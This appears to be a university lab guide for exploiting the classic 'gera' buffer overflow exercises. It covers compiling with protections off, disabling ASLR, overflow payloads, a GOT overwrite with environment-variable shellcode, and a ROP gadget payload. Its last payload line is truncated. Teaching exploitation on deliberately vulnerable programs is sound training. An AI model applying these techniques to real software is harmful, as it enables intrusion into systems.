

Buffer Overflow Lab

Here you will find some indications on how to exploit the *gera* examples seen in class. For the theory on exploitation, see the provided slides. Objective of the gera examples is to print "You win!"

stack1.c

Compile with

```
gcc -fno-stack-protector -w -o stack1 stack1.c
```



Run with

```
# Substitute  
# ... with the correct cookie in the format \xaa\xbb\xcc\xdd  
# N with the correct buffer size  
python3 -c "import sys; sys.stdout.buffer.write((b'A' * N) + b'...')" | ./stack1
```



stack2.c

Compile with

```
gcc -fno-stack-protector -w -o stack2 stack2.c
```



Run with (upon substitution required in stack1.c)

```
python3 -c "import sys; sys.stdout.buffer.write((b'A' * N) + b'...')" | ./stack2
```



stack3.c

Compile with

```
gcc -fno-stack-protector -w -o stack3 stack3.c
```



Run with (upon substitution required in stack1.c)

```
python3 -c "import sys; sys.stdout.buffer.write((b'A' * N) + b'...')" | ./stack3
```



stack4.c

ASLR should be disabled to exploit this example. You can temporarily disable ASLR with the command `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`

Compile with

```
gcc -fno-stack-protector -w -o stack4 stack4.c
```



Run with (upon substitution required in stack1.c)

```
python3 -c "import sys; sys.stdout.buffer.write((b'A' * N) + b'...')" | ./stack4
```



Stack 5

ASLR should be disabled to exploit this example. You can temporarily disable ASLR with the command `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`

Compile with

```
gcc -fno-stack-protector -zexecstack -w -o stack5 stack5.c
```



Run with (upon substitution required in stack1.c)

```
python3 -c "import sys; sys.stdout.buffer.write((b'A' * N) + b'...')" > fill15.txt  
cat shellcode5.txt fill15.txt | ./stack5
```



abo5.c

0. ASLR should be disabled to exploit this example. You can temporarily disable ASLR with the command `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`

1. Compile with `gcc -g -no-pie -fno-stack-protector -zexecstack -o abo5 abo5.c`. The compiler should only emit warnings; in case of errors, try also with `-fpermissive`

2. Debug the program with `gdb ./abo5`. We need to to perform these operations (**remember that addresses and/or stack size/layout can differ**)

- ✓ Verify that the `.got` section is a writeable section
With the gdb command `maintenance info sections`, we should be able to verify that a `.got` section exists without the `READONLY` attribute.
- ✓ Calculate the stack layout

With the help of `disass main`, we can work out that, in our case

- Variables stack space is 0x120 bytes
- `RBP - 0x120` or equivalently `RSP` will hold a copy of the `argv` pointer (8 bytes; NB: gera inverted `argv` and `argc` names in the code)
- `RBP - 0x114` or equivalently `RSP + 0xc` will hold a copy of the `argc` value (4 bytes)
- `RBP - 0x110` or equivalently `RSP + 0x10` will hold `buf` value (256 bytes)
- `RBP - 0x8` or equivalently `RSP + 0x118` will hold `pbuf` value (8 bytes)

From here, we can see that we need a 264-bytes "padding" from `buf` to overwrite `pbuf`. (There are other ways to calculate this padding size, this is the one that works even without debug symbols 😊)

✓ Obtain the address containing the GOT entry for the `exit()` method

- Disassemble the `exit@plt` method (`disass 0x4010a0`)
- Calculate the GOT entry address using the RIP relative addressing of the jump: `0x4010ab + 0x2f85 = 0x404030`
- By dereferencing the found address, we should see that gdb calls it `<exit@got.plt>`. We will rewrite this address

```
(gdb) x/gx 0x4010ab + 0x2f85
0x404030 <exit@got.plt>: 0x401060 <- We don't care about the content
```



3. Let's build our input payload to prove that we can at least control the GOT entry

- Quit from gdb
- Create two files: one containing our padding and our got entry address, the other one containing a fake (invalid) address that we want to execute

```
python3 -c "import sys; sys.stdout.buffer.write((b'A' * 264) + b'\x30\x40\x40\x00\x00\x00\x00\x00')"
```



```
python3 -c "import sys; sys.stdout.buffer.write(b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa')"
```

- Let's debug it again in gdb. We should see that the method `exit@plt` is trying to jump to our invalid address

```
gdb ./abo5
(gdb) r "`cat abo5_padding`" "`cat abo5_address_test`"
Program received signal SIGSEGV, Segmentation fault.0x000000004010a4 in exit@plt
()
(gdb) x/gx 0x4010ab + 0x2f85
0x404030 <exit@got.plt>: 0xaaaaaaaaaaaaaaaa
```



- Quit from gdb

4. Write, compile, and extract the shellcode

- Pay attention to NULL bytes 🤪
- Compile and extract the shellcode with the usual commands to the file `shellcode_abo5.txt`

5. Deploying the shellcode

- Even with ASLR disabled, it is difficult to calculate the correct address buf, so it's better not to directly execute code from it. Instead, we can leverage the fact that environment variable addresses are more easily predictable.

```
export SHELLCODE=$(cat shellcode_abo5.txt)
```



- Calculate the shellcode address using the `getenvaddr` program (see [here](#) for more information, compile it with `gcc -o getenvaddr getenvaddr.c`)

```
$ ./getenvaddr SHELLCODE ./abo5
SHELLCODE will be at 0x7fffffff026
```



6. Create a new `abo5_address` file with the found address and enjoy

```
python3 -c "import sys;
sys.stdout.buffer.write(b'\x26\xe0\xff\xff\xff\x7f\x00\x00')"
```



- Execute

```
./abo5 "`cat abo5_padding`" "`cat abo5_address`"
```



stack5_nx.c

0. ASLR should be disabled to exploit this example. You can temporarily disable ASLR with the command `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`

1. Compile with `sh gcc -fno-stack-protector -w -o stack5_nx stack5_nx.c`

2. Execute it one time to obtain the relevant addresses

```
$ ./stack5_nx
puts():      7ffff7c80e50:
gadget():    55555555179:
buf:        7fffffffdb0 cookie: 7fffffffdc3c
```



3. With gdb, calculate the correct gadget offset

```
$ gdb ./stack5_nx
(gdb) disass gadget
```



Dump of assembler code for function gadget:

```
0x00000000000001179 <+0>:    endbr64
0x0000000000000117d <+4>:    push    rbp
0x0000000000000117e <+5>:    mov     rbp, rsp
0x00000000000001181 <+8>:    pop     rdi
0x00000000000001182 <+9>:    ret
```

Our offset is `gadget+8`

4. Create `payload_stack5_nx` and enjoy

```
python3 -c "import sys; sys.stdout.buffer.write(b'You Win\x00' + (b'A' * 96) + b'\x81\x51\'
```

```
./stack5_nx < payload_stack5_nx
```